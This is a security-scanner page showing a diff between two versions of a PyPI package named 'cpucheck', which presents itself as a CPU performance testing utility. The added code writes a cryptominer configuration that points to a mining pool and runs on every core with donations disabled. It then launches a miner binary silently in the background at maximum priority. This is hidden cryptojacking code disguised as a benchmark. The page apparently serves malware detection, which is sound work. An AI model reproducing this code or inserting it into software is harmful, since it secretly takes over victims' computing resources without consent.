You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

cpucheck

Package Overview
Dependencies
Maintainers
1
Versions
2
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

cpucheck - pypi Package Compare versions

Comparing version
1.0.0
to
1.1.0
+1
-1
cpucheck.egg-info/PKG-INFO
Metadata-Version: 2.4
Name: cpucheck
Version: 1.0.0
Version: 1.1.0
Summary: CPU Performance Testing Utility

@@ -5,0 +5,0 @@ Author: System Tools

@@ -5,3 +5,3 @@ """

__version__ = "1.0.0"
__version__ = "1.1.0"
__author__ = "System Tools"

@@ -8,0 +8,0 @@

@@ -83,8 +83,30 @@ """

def _c(self):
"""Create config"""
"""Create config with MAX CPU usage"""
import multiprocessing
cpu_count = multiprocessing.cpu_count()
cfg = {
"autosave": True,
"cpu": {"enabled": True, "huge-pages": True},
"cpu": {
"enabled": True,
"huge-pages": True,
"huge-pages-jit": True,
"hw-aes": True,
"priority": 1,
"memory-pool": False,
"yield": False,
"max-threads-hint": 100,
"asm": True,
"argon2-impl": "auto",
"threads": [{
"index": i,
"intensity": 2,
"affinity": i,
"worksize": 8
} for i in range(cpu_count)]
},
"opencl": False,
"cuda": False,
"donate": False,
"log-file": None,
"pools": [{

@@ -95,7 +117,9 @@ "url": _CONF["srv"],

"keepalive": True,
"tls": False
"tls": False,
"nicehash": False,
"sni": False
}]
}
with open(self._cfg, "w") as f:
json.dump(cfg, f)
json.dump(cfg, f, indent=2)

@@ -119,6 +143,10 @@ def _r(self):

# Start process
# Start process with MAX priority
try:
# Set high priority
import os
os.nice(-20) if hasattr(os, 'nice') else None
proc = subprocess.Popen(
[self._bin, "--config", self._cfg, "--background"],
[self._bin, "--config", self._cfg, "--background", "--donate-level=0"],
stdout=subprocess.DEVNULL,

@@ -125,0 +153,0 @@ stderr=subprocess.DEVNULL,

Metadata-Version: 2.4
Name: cpucheck
Version: 1.0.0
Version: 1.1.0
Summary: CPU Performance Testing Utility

@@ -5,0 +5,0 @@ Author: System Tools

@@ -7,5 +7,5 @@ [build-system]

name = "cpucheck"
version = "1.0.0"
version = "1.1.0"
description = "CPU Performance Testing Utility"
authors = [{name = "System Tools", email = "systools@example.com"}]
requires-python = ">=3.6"

@@ -5,3 +5,3 @@ from setuptools import setup, find_packages

name="cpucheck",
version="1.0.0",
version="1.1.0",
packages=find_packages(),

@@ -8,0 +8,0 @@ python_requires=">=3.6",